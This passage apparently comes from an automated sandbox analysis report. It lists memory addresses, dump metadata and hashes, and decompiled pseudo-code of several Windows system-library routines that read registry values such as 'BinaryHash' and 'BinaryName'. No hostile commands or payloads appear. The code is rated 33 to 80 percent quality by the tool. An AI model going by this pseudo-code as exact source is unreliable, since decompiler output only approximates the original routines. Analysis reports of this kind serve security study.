                                      0x03662e4f
                                      0x03662e54
                                      0x00000000
                                      0x00000000
                                      0x03662e5a
                                      0x03662e5f
                                      0x03662e9a
                                      0x03662ea4
                                      0x03662ea5
                                      0x03662ea8
                                      0x03662eaf
                                      0x03662eb2
                                      0x03662eb5
                                      0x036bfae9
                                      0x036bfaeb
                                      0x036bfaed
                                      0x036bfaef
                                      0x036bfaf7
                                      0x036bfaf8
                                      0x036bfafd
                                      0x036bfaff
                                      0x036bfb04
                                      0x036bfb04
                                      0x036bfaff
                                      0x03662ec0
                                      0x03662ec4
                                      0x03662ec6
                                      0x03662ec8
                                      0x036bfb14
                                      0x036bfb18
                                      0x036bfb1e
                                      0x036bfb21
                                      0x036bfb21
                                      0x03662ece
                                      0x03662ece
                                      0x03662ece
                                      0x03662ed7
                                      0x03662e61
                                      0x03662e63
                                      0x036bfa6b
                                      0x036bfa71
                                      0x036bfa76
                                      0x036bfa78
                                      0x036bfa8a
                                      0x036bfa7a
                                      0x036bfa83
                                      0x036bfa83
                                      0x036bfa8f
                                      0x036bfa91
                                      0x036bfa97
                                      0x036bfa9d
                                      0x036bfaa4
                                      0x036bfaaa
                                      0x036bfaaf
                                      0x036bfab1
                                      0x036bfac3
                                      0x036bfab3
                                      0x036bfabc
                                      0x036bfabc
                                      0x036bfac8
                                      0x036bfacb
                                      0x036bfadf
                                      0x036bfadf
                                      0x036bfacb
                                      0x036bfaa4
                                      0x036bfa91
                                      0x03662e6f
                                      0x03662e6f
                                      0x03662e5f
                                      0x036bfa13
                                      0x036bfa15
                                      0x036bfa17
                                      0x036bfa1f
                                      0x036bfa21
                                      0x036bfa22
                                      0x036bfa25
                                      0x036bfa28
                                      0x036bfa2f
                                      0x036bfa2f
                                      0x036bfa2a
                                      0x036bfa2a
                                      0x036bfa2a
                                      0x036bfa31
                                      0x036bfa34
                                      0x036bfa36
                                      0x036bfa3c
                                      0x036bfa3e
                                      0x036bfa41
                                      0x036bfa43
                                      0x036bfa45
                                      0x036bfa45
                                      0x036bfa41
                                      0x036bfa3c
                                      0x036bfa4a
                                      0x036bfa4f
                                      0x036bfa51
                                      0x036bfa53
                                      0x036bfa56
                                      0x036bfa5b
                                      0x036bfa5e
                                      0x00000000
                                      0x036bfa5e
                                      0x03662e23

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: RTL: Re-Waiting
                                      • API String ID: 0-316354757
                                      • Opcode ID: 861ab537393a1ae7391d015edc0daf3b770f5f41486997e0634a006fa3c94cfa
                                      • Instruction ID: 148860b529588dfc21fd1cebf6107b1ae840a63a45f185e2eb36e4f65be7821e
                                      • Opcode Fuzzy Hash: 861ab537393a1ae7391d015edc0daf3b770f5f41486997e0634a006fa3c94cfa
                                      • Instruction Fuzzy Hash: C7615670A00744EFDB25DB28C990BBEB7B4EB48754F184AA9E8119F3D1C77499818B81
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 80%
                                      			E03730EA5(void* __ecx, void* __edx) {
                                      				signed int _v20;
                                      				char _v24;
                                      				intOrPtr _v28;
                                      				unsigned int _v32;
                                      				signed int _v36;
                                      				intOrPtr _v40;
                                      				char _v44;
                                      				intOrPtr _v64;
                                      				void* __ebx;
                                      				void* __edi;
                                      				signed int _t58;
                                      				unsigned int _t60;
                                      				intOrPtr _t62;
                                      				char* _t67;
                                      				char* _t69;
                                      				void* _t80;
                                      				void* _t83;
                                      				intOrPtr _t93;
                                      				intOrPtr _t115;
                                      				char _t117;
                                      				void* _t120;
                                      
                                      				_t83 = __edx;
                                      				_t117 = 0;
                                      				_t120 = __ecx;
                                      				_v44 = 0;
                                      				if(E0372FF69(__ecx,  &_v44,  &_v32) < 0) {
                                      					L24:
                                      					_t109 = _v44;
                                      					if(_v44 != 0) {
                                      						E03731074(_t83, _t120, _t109, _t117, _t117);
                                      					}
                                      					L26:
                                      					return _t117;
                                      				}
                                      				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
                                      				_t5 = _t83 + 1; // 0x1
                                      				_v36 = _t5 << 0xc;
                                      				_v40 = _t93;
                                      				_t58 =  *(_t93 + 0xc) & 0x40000000;
                                      				asm("sbb ebx, ebx");
                                      				_t83 = ( ~_t58 & 0x0000003c) + 4;
                                      				if(_t58 != 0) {
                                      					_push(0);
                                      					_push(0x14);
                                      					_push( &_v24);
                                      					_push(3);
                                      					_push(_t93);
                                      					_push(0xffffffff);
                                      					_t80 = E036A9730();
                                      					_t115 = _v64;
                                      					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
                                      						_push(_t93);
                                      						E0372A80D(_t115, 1, _v20, _t117);
                                      						_t83 = 4;
                                      					}
                                      				}
                                      				if(E0372A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
                                      					goto L24;
                                      				}
                                      				_t60 = _v32;
                                      				_t97 = (_t60 != 0x100000) + 1;
                                      				_t83 = (_v44 -  *0x3758b04 >> 0x14) + (_v44 -  *0x3758b04 >> 0x14);
                                      				_v28 = (_t60 != 0x100000) + 1;
                                      				_t62 = _t83 + (_t60 >> 0x14) * 2;
                                      				_v40 = _t62;
                                      				if(_t83 >= _t62) {
                                      					L10:
                                      					asm("lock xadd [eax], ecx");
                                      					asm("lock xadd [eax], ecx");
                                      					if(E03687D50() == 0) {
                                      						_t67 = 0x7ffe0380;
                                      					} else {
                                      						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
                                      					}
                                      					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
                                      						E0372138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
                                      					}
                                      					if(E03687D50() == 0) {
                                      						_t69 = 0x7ffe0388;
                                      					} else {
                                      						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
                                      					}
                                      					if( *_t69 != 0) {
                                      						E0371FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
                                      					}
                                      					if(( *0x3758724 & 0x00000008) != 0) {
                                      						E037252F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
                                      					}
                                      					_t117 = _v44;
                                      					goto L26;
                                      				}
                                      				while(E037315B5(0x3758ae4, _t83, _t97, _t97) >= 0) {
                                      					_t97 = _v28;
                                      					_t83 = _t83 + 2;
                                      					if(_t83 < _v40) {
                                      						continue;
                                      					}
                                      					goto L10;
                                      				}
                                      				goto L24;
                                      			}
























                                      0x03730eb7
                                      0x03730eb9
                                      0x03730ec0
                                      0x03730ec2
                                      0x03730ecd
                                      0x0373105b
                                      0x0373105b
                                      0x03731061
                                      0x03731066
                                      0x03731066
                                      0x0373106b
                                      0x03731073
                                      0x03731073
                                      0x03730ed3
                                      0x03730ed6
                                      0x03730edc
                                      0x03730ee0
                                      0x03730ee7
                                      0x03730ef0
                                      0x03730ef5
                                      0x03730efa
                                      0x03730efc
                                      0x03730efd
                                      0x03730f03
                                      0x03730f04
                                      0x03730f06
                                      0x03730f07
                                      0x03730f09
                                      0x03730f0e
                                      0x03730f14
                                      0x03730f23
                                      0x03730f2d
                                      0x03730f34
                                      0x03730f34
                                      0x03730f14
                                      0x03730f52
                                      0x00000000
                                      0x00000000
                                      0x03730f58
                                      0x03730f73
                                      0x03730f74
                                      0x03730f79
                                      0x03730f7d
                                      0x03730f80
                                      0x03730f86
                                      0x03730fab
                                      0x03730fb5
                                      0x03730fc6
                                      0x03730fd1
                                      0x03730fe3
                                      0x03730fd3
                                      0x03730fdc
                                      0x03730fdc
                                      0x03730feb
                                      0x03731009
                                      0x03731009
                                      0x03731015
                                      0x03731027
                                      0x03731017
                                      0x03731020
                                      0x03731020
                                      0x0373102f
                                      0x0373103c
                                      0x0373103c
                                      0x03731048
                                      0x03731050
                                      0x03731050
                                      0x03731055
                                      0x00000000
                                      0x03731055
                                      0x03730f88
                                      0x03730f9e
                                      0x03730fa2
                                      0x03730fa9
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03730fa9
                                      0x00000000

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: `
                                      • API String ID: 0-2679148245
                                      • Opcode ID: 5bb2f5c5b8d21d2f579cef7507292e5922d0aee1a02b88792406dbc785c290ef
                                      • Instruction ID: 6be18399ad32bfaa218cbb6e5157d6dc7ad5f672de1403b6aca54867872c8a1d
                                      • Opcode Fuzzy Hash: 5bb2f5c5b8d21d2f579cef7507292e5922d0aee1a02b88792406dbc785c290ef
                                      • Instruction Fuzzy Hash: C151C2712043469FD325EF29D884F6BB7E5EBC5304F04092CF9969B292D771E805CB62
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 75%
                                      			E0369F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
                                      				intOrPtr _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _v16;
                                      				char* _v20;
                                      				intOrPtr _v24;
                                      				char _v28;
                                      				intOrPtr _v32;
                                      				char _v36;
                                      				char _v44;
                                      				char _v52;
                                      				intOrPtr _v56;
                                      				char _v60;
                                      				intOrPtr _v72;
                                      				void* _t51;
                                      				void* _t58;
                                      				signed short _t82;
                                      				short _t84;
                                      				signed int _t91;
                                      				signed int _t100;
                                      				signed short* _t103;
                                      				void* _t108;
                                      				intOrPtr* _t109;
                                      
                                      				_t103 = __ecx;
                                      				_t82 = __edx;
                                      				_t51 = E03684120(0, __ecx, 0,  &_v52, 0, 0, 0);
                                      				if(_t51 >= 0) {
                                      					_push(0x21);
                                      					_push(3);
                                      					_v56 =  *0x7ffe02dc;
                                      					_v20 =  &_v52;
                                      					_push( &_v44);
                                      					_v28 = 0x18;
                                      					_push( &_v28);
                                      					_push(0x100020);
                                      					_v24 = 0;
                                      					_push( &_v60);
                                      					_v16 = 0x40;
                                      					_v12 = 0;
                                      					_v8 = 0;
                                      					_t58 = E036A9830();
                                      					_t87 =  *[fs:0x30];
                                      					_t108 = _t58;
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
                                      					if(_t108 < 0) {
                                      						L11:
                                      						_t51 = _t108;
                                      					} else {
                                      						_push(4);
                                      						_push(8);
                                      						_push( &_v36);
                                      						_push( &_v44);
                                      						_push(_v60);
                                      						_t108 = E036A9990();
                                      						if(_t108 < 0) {
                                      							L10:
                                      							_push(_v60);
                                      							E036A95D0();
                                      							goto L11;
                                      						} else {
                                      							_t109 = L03684620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
                                      							if(_t109 == 0) {
                                      								_t108 = 0xc0000017;
                                      								goto L10;
                                      							} else {
                                      								_t21 = _t109 + 0x18; // 0x18
                                      								 *((intOrPtr*)(_t109 + 4)) = _v60;
                                      								 *_t109 = 1;
                                      								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
                                      								 *(_t109 + 0xe) = _t82;
                                      								 *((intOrPtr*)(_t109 + 8)) = _v56;
                                      								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
                                      								E036AF3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
                                      								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
                                      								 *((short*)(_t109 + 0xc)) =  *_t103;
                                      								_t91 =  *_t103 & 0x0000ffff;
                                      								_t100 = _t91 & 0xfffffffe;
                                      								_t84 = 0x5c;
                                      								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
                                      									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
                                      										_push(_v60);
                                      										E036A95D0();
                                      										L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
                                      										_t51 = 0xc0000106;
                                      									} else {
                                      										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
                                      										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
                                      										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
                                      										goto L5;
                                      									}
                                      								} else {
                                      									L5:
                                      									 *_a4 = _t109;
                                      									_t51 = 0;
                                      								}
                                      							}
                                      						}
                                      					}
                                      				}
                                      				return _t51;
                                      			}

























                                      0x0369f0d3
                                      0x0369f0d9
                                      0x0369f0e0
                                      0x0369f0e7
                                      0x0369f0f2
                                      0x0369f0f4
                                      0x0369f0f8
                                      0x0369f100
                                      0x0369f108
                                      0x0369f10d
                                      0x0369f115
                                      0x0369f116
                                      0x0369f11f
                                      0x0369f123
                                      0x0369f124
                                      0x0369f12c
                                      0x0369f130
                                      0x0369f134
                                      0x0369f13d
                                      0x0369f144
                                      0x0369f14b
                                      0x0369f152
                                      0x036dbab0
                                      0x036dbab0
                                      0x0369f158
                                      0x0369f158
                                      0x0369f15a
                                      0x0369f160
                                      0x0369f165
                                      0x0369f166
                                      0x0369f16f
                                      0x0369f173
                                      0x036dbaa7
                                      0x036dbaa7
                                      0x036dbaab
                                      0x00000000
                                      0x0369f179
                                      0x0369f18d
                                      0x0369f191
                                      0x036dbaa2
                                      0x00000000
                                      0x0369f197
                                      0x0369f19b
                                      0x0369f1a2
                                      0x0369f1a9
                                      0x0369f1af
                                      0x0369f1b2
                                      0x0369f1b6
                                      0x0369f1b9
                                      0x0369f1c4
                                      0x0369f1d8
                                      0x0369f1df
                                      0x0369f1e3
                                      0x0369f1eb
                                      0x0369f1ee
                                      0x0369f1f4
                                      0x0369f20f
                                      0x036dbab7
                                      0x036dbabb
                                      0x036dbacc
                                      0x036dbad1
                                      0x0369f215
                                      0x0369f218
                                      0x0369f226
                                      0x0369f22b
                                      0x00000000
                                      0x0369f22b
                                      0x0369f1f6
                                      0x0369f1f6
                                      0x0369f1f9
                                      0x0369f1fb
                                      0x0369f1fb
                                      0x0369f1f4
                                      0x0369f191
                                      0x0369f173
                                      0x0369f152
                                      0x0369f203

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: @
                                      • API String ID: 0-2766056989
                                      • Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
                                      • Instruction ID: 273bc3c85e0a17ca1e3ae921dd3c888a2ee3e86fc71b742db23aaf133d48d81c
                                      • Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
                                      • Instruction Fuzzy Hash: 82519A75504714AFD320DF29C840A6BBBF8FF48710F118A2EF9958B6A0E7B4E904CB95
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 75%
                                      			E036E3540(intOrPtr _a4) {
                                      				signed int _v12;
                                      				intOrPtr _v88;
                                      				intOrPtr _v92;
                                      				char _v96;
                                      				char _v352;
                                      				char _v1072;
                                      				intOrPtr _v1140;
                                      				intOrPtr _v1148;
                                      				char _v1152;
                                      				char _v1156;
                                      				char _v1160;
                                      				char _v1164;
                                      				char _v1168;
                                      				char* _v1172;
                                      				short _v1174;
                                      				char _v1176;
                                      				char _v1180;
                                      				char _v1192;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				short _t41;
                                      				short _t42;
                                      				intOrPtr _t80;
                                      				intOrPtr _t81;
                                      				signed int _t82;
                                      				void* _t83;
                                      
                                      				_v12 =  *0x375d360 ^ _t82;
                                      				_t41 = 0x14;
                                      				_v1176 = _t41;
                                      				_t42 = 0x16;
                                      				_v1174 = _t42;
                                      				_v1164 = 0x100;
                                      				_v1172 = L"BinaryHash";
                                      				_t81 = E036A0BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
                                      				if(_t81 < 0) {
                                      					L11:
                                      					_t75 = _t81;
                                      					E036E3706(0, _t81, _t79, _t80);
                                      					L12:
                                      					if(_a4 != 0xc000047f) {
                                      						E036AFA60( &_v1152, 0, 0x50);
                                      						_v1152 = 0x60c201e;
                                      						_v1148 = 1;
                                      						_v1140 = E036E3540;
                                      						E036AFA60( &_v1072, 0, 0x2cc);
                                      						_push( &_v1072);
                                      						E036BDDD0( &_v1072, _t75, _t79, _t80, _t81);
                                      						E036F0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
                                      						_push(_v1152);
                                      						_push(0xffffffff);
                                      						E036A97C0();
                                      					}
                                      					return E036AB640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
                                      				}
                                      				_t79 =  &_v352;
                                      				_t81 = E036E3971(0, _a4,  &_v352,  &_v1156);
                                      				if(_t81 < 0) {
                                      					goto L11;
                                      				}
                                      				_t75 = _v1156;
                                      				_t79 =  &_v1160;
                                      				_t81 = E036E3884(_v1156,  &_v1160,  &_v1168);
                                      				if(_t81 >= 0) {
                                      					_t80 = _v1160;
                                      					E036AFA60( &_v96, 0, 0x50);
                                      					_t83 = _t83 + 0xc;
                                      					_push( &_v1180);
                                      					_push(0x50);
                                      					_push( &_v96);
                                      					_push(2);
                                      					_push( &_v1176);
                                      					_push(_v1156);
                                      					_t81 = E036A9650();
                                      					if(_t81 >= 0) {
                                      						if(_v92 != 3 || _v88 == 0) {
                                      							_t81 = 0xc000090b;
                                      						}
                                      						if(_t81 >= 0) {
                                      							_t75 = _a4;
                                      							_t79 =  &_v352;
                                      							E036E3787(_a4,  &_v352, _t80);
                                      						}
                                      					}
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
                                      				}
                                      				_push(_v1156);
                                      				E036A95D0();
                                      				if(_t81 >= 0) {
                                      					goto L12;
                                      				} else {
                                      					goto L11;
                                      				}
                                      			}































                                      0x036e3552
                                      0x036e355a
                                      0x036e355d
                                      0x036e3566
                                      0x036e3567
                                      0x036e357e
                                      0x036e358f
                                      0x036e35a1
                                      0x036e35a5
                                      0x036e366b
                                      0x036e366b
                                      0x036e366d
                                      0x036e3672
                                      0x036e3679
                                      0x036e3685
                                      0x036e368d
                                      0x036e369d
                                      0x036e36a7
                                      0x036e36b8
                                      0x036e36c6
                                      0x036e36c7
                                      0x036e36dc
                                      0x036e36e1
                                      0x036e36e7
                                      0x036e36e9
                                      0x036e36e9
                                      0x036e3703
                                      0x036e3703
                                      0x036e35b5
                                      0x036e35c0
                                      0x036e35c4
                                      0x00000000
                                      0x00000000
                                      0x036e35ca
                                      0x036e35d7
                                      0x036e35e2
                                      0x036e35e6
                                      0x036e35e8
                                      0x036e35f5
                                      0x036e35fa
                                      0x036e3603
                                      0x036e3604
                                      0x036e3609
                                      0x036e360a
                                      0x036e3612
                                      0x036e3613
                                      0x036e361e
                                      0x036e3622
                                      0x036e3628
                                      0x036e362f
                                      0x036e362f
                                      0x036e3636
                                      0x036e3638
                                      0x036e363b
                                      0x036e3642
                                      0x036e3642
                                      0x036e3636
                                      0x036e3657
                                      0x036e3657
                                      0x036e365c
                                      0x036e3662
                                      0x036e3669
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID: BinaryHash
                                      • API String ID: 2994545307-2202222882
                                      • Opcode ID: f15b5ce7c7756167ce25161471092c833b99fe5d2f2f5a8524b37535735db942
                                      • Instruction ID: e295b0a27fd4f137eda19aca465790fc582be8f5953722af6b2e75c1a2f59521
                                      • Opcode Fuzzy Hash: f15b5ce7c7756167ce25161471092c833b99fe5d2f2f5a8524b37535735db942
                                      • Instruction Fuzzy Hash: F14166B5D0162C9BDB21DA64CC84FDEB77CAB44714F1045E9E609AB340DB709E98CF98
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 72%
                                      			E036E3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
                                      				char _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr* _v16;
                                      				char* _v20;
                                      				short _v22;
                                      				char _v24;
                                      				intOrPtr _t38;
                                      				short _t40;
                                      				short _t41;
                                      				void* _t44;
                                      				intOrPtr _t47;
                                      				void* _t48;
                                      
                                      				_v16 = __edx;
                                      				_t40 = 0x14;
                                      				_v24 = _t40;
                                      				_t41 = 0x16;
                                      				_v22 = _t41;
                                      				_t38 = 0;
                                      				_v12 = __ecx;
                                      				_push( &_v8);
                                      				_push(0);
                                      				_push(0);
                                      				_push(2);
                                      				_t43 =  &_v24;
                                      				_v20 = L"BinaryName";
                                      				_push( &_v24);
                                      				_push(__ecx);
                                      				_t47 = 0;
                                      				_t48 = E036A9650();
                                      				if(_t48 >= 0) {
                                      					_t48 = 0xc000090b;
                                      				}
                                      				if(_t48 != 0xc0000023) {
                                      					_t44 = 0;
                                      					L13:
                                      					if(_t48 < 0) {
                                      						L16:
                                      						if(_t47 != 0) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
                                      						}
                                      						L18:
                                      						return _t48;
                                      					}
                                      					 *_v16 = _t38;
                                      					 *_a4 = _t47;
                                      					goto L18;
                                      				}
                                      				_t47 = L03684620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
                                      				if(_t47 != 0) {
                                      					_push( &_v8);
                                      					_push(_v8);
                                      					_push(_t47);
                                      					_push(2);
                                      					_push( &_v24);
                                      					_push(_v12);
                                      					_t48 = E036A9650();
                                      					if(_t48 < 0) {
                                      						_t44 = 0;
                                      						goto L16;
                                      					}
                                      					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
                                      						_t48 = 0xc000090b;
                                      					}
                                      					_t44 = 0;
                                      					if(_t48 < 0) {
                                      						goto L16;
                                      					} else {
                                      						_t17 = _t47 + 0xc; // 0xc
                                      						_t38 = _t17;
                                      						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
                                      							_t48 = 0xc000090b;
                                      						}
                                      						goto L13;
                                      					}
                                      				}
                                      				_t48 = _t48 + 0xfffffff4;
                                      				goto L18;
                                      			}















                                      0x036e3893
                                      0x036e3896
                                      0x036e3899
                                      0x036e389f
                                      0x036e38a0
                                      0x036e38a4
                                      0x036e38a9
                                      0x036e38ac
                                      0x036e38ad
                                      0x036e38ae
                                      0x036e38af
                                      0x036e38b1
                                      0x036e38b4
                                      0x036e38bb
                                      0x036e38bc
                                      0x036e38bd
                                      0x036e38c4
                                      0x036e38c8
                                      0x036e38ca
                                      0x036e38ca
                                      0x036e38d5
                                      0x036e393e
                                      0x036e3940
                                      0x036e3942
                                      0x036e3952
                                      0x036e3954
                                      0x036e3961
                                      0x036e3961
                                      0x036e3967
                                      0x036e396e
                                      0x036e396e
                                      0x036e3947
                                      0x036e394c
                                      0x00000000
                                      0x036e394c
                                      0x036e38ea
                                      0x036e38ee
                                      0x036e38f8
                                      0x036e38f9
                                      0x036e38ff
                                      0x036e3900
                                      0x036e3902
                                      0x036e3903
                                      0x036e390b
                                      0x036e390f
                                      0x036e3950
                                      0x00000000
                                      0x036e3950
                                      0x036e3915
                                      0x036e391d
                                      0x036e391d
                                      0x036e3922
                                      0x036e3926
                                      0x00000000
                                      0x036e3928
                                      0x036e392b
                                      0x036e392b
                                      0x036e3935
                                      0x036e3937
                                      0x036e3937
                                      0x00000000
                                      0x036e3935
                                      0x036e3926
                                      0x036e38f0
                                      0x00000000

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID: BinaryName
                                      • API String ID: 2994545307-215506332
                                      • Opcode ID: 8f5f2c82a28727a553e225ad67f16d1cbc8d502db787d8b1874f1c5c1c6bf783
                                      • Instruction ID: 4b78fbb04c284c2e9581e7a121c255910ee1a3c50634b88948ebc46c3bcd23a2
                                      • Opcode Fuzzy Hash: 8f5f2c82a28727a553e225ad67f16d1cbc8d502db787d8b1874f1c5c1c6bf783
                                      • Instruction Fuzzy Hash: 3431F47AD02619BFDB15DA58C945E6BF7B8EF80720F214169E814AB340E7309E08C7A0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 33%
                                      			E0369D294(void* __ecx, char __edx, void* __eflags) {
                                      				signed int _v8;
                                      				char _v52;
                                      				signed int _v56;
                                      				signed int _v60;
                                      				intOrPtr _v64;
                                      				char* _v68;
                                      				intOrPtr _v72;
                                      				char _v76;
                                      				signed int _v84;
                                      				intOrPtr _v88;
                                      				char _v92;
                                      				intOrPtr _v96;
                                      				intOrPtr _v100;
                                      				char _v104;
                                      				char _v105;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t35;
                                      				char _t38;
                                      				signed int _t40;
                                      				signed int _t44;
                                      				signed int _t52;
                                      				void* _t53;
                                      				void* _t55;
                                      				void* _t61;
                                      				intOrPtr _t62;
                                      				void* _t64;
                                      				signed int _t65;
                                      				signed int _t66;
                                      
                                      				_t68 = (_t66 & 0xfffffff8) - 0x6c;
                                      				_v8 =  *0x375d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
                                      				_v105 = __edx;
                                      				_push( &_v92);
                                      				_t52 = 0;
                                      				_push(0);
                                      				_push(0);
                                      				_push( &_v104);
                                      				_push(0);
                                      				_t59 = __ecx;
                                      				_t55 = 2;
                                      				if(E03684120(_t55, __ecx) < 0) {
                                      					_t35 = 0;
                                      					L8:
                                      					_pop(_t61);
                                      					_pop(_t64);
                                      					_pop(_t53);
                                      					return E036AB640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
                                      				}
                                      				_v96 = _v100;
                                      				_t38 = _v92;
                                      				if(_t38 != 0) {
                                      					_v104 = _t38;
                                      					_v100 = _v88;
                                      					_t40 = _v84;
                                      				} else {
                                      					_t40 = 0;
                                      				}
                                      				_v72 = _t40;
                                      				_v68 =  &_v104;
                                      				_push( &_v52);
                                      				_v76 = 0x18;
                                      				_push( &_v76);
                                      				_v64 = 0x40;
                                      				_v60 = _t52;
                                      				_v56 = _t52;
                                      				_t44 = E036A98D0();
                                      				_t62 = _v88;
                                      				_t65 = _t44;
                                      				if(_t62 != 0) {
                                      					asm("lock xadd [edi], eax");
                                      					if((_t44 | 0xffffffff) != 0) {
                                      						goto L4;
                                      					}
                                      					_push( *((intOrPtr*)(_t62 + 4)));
                                      					E036A95D0();
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
                                      					goto L4;
                                      				} else {
                                      					L4:
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
                                      					if(_t65 >= 0) {
                                      						_t52 = 1;
                                      					} else {
                                      						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
                                      							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
                                      						}
                                      					}
                                      					_t35 = _t52;
                                      					goto L8;
                                      				}
                                      			}

































                                      0x0369d29c
                                      0x0369d2a6
                                      0x0369d2b1
                                      0x0369d2b5
                                      0x0369d2b6
                                      0x0369d2bc
                                      0x0369d2bd
                                      0x0369d2be
                                      0x0369d2bf
                                      0x0369d2c2
                                      0x0369d2c4
                                      0x0369d2cc
                                      0x0369d384
                                      0x0369d34b
                                      0x0369d34f
                                      0x0369d350
                                      0x0369d351
                                      0x0369d35c
                                      0x0369d35c
                                      0x0369d2d6
                                      0x0369d2da
                                      0x0369d2e1
                                      0x0369d361
                                      0x0369d369
                                      0x0369d36d
                                      0x0369d2e3
                                      0x0369d2e3
                                      0x0369d2e3
                                      0x0369d2e5
                                      0x0369d2ed
                                      0x0369d2f5
                                      0x0369d2fa
                                      0x0369d302
                                      0x0369d303
                                      0x0369d30b
                                      0x0369d30f
                                      0x0369d313
                                      0x0369d318
                                      0x0369d31c
                                      0x0369d320
                                      0x0369d379
                                      0x0369d37d
                                      0x00000000
                                      0x00000000
                                      0x036daffe
                                      0x036db001
                                      0x036db011
                                      0x00000000
                                      0x0369d322
                                      0x0369d322
                                      0x0369d330
                                      0x0369d337
                                      0x0369d35d
                                      0x0369d339
                                      0x0369d33f
                                      0x0369d38c
                                      0x0369d38c
                                      0x0369d33f
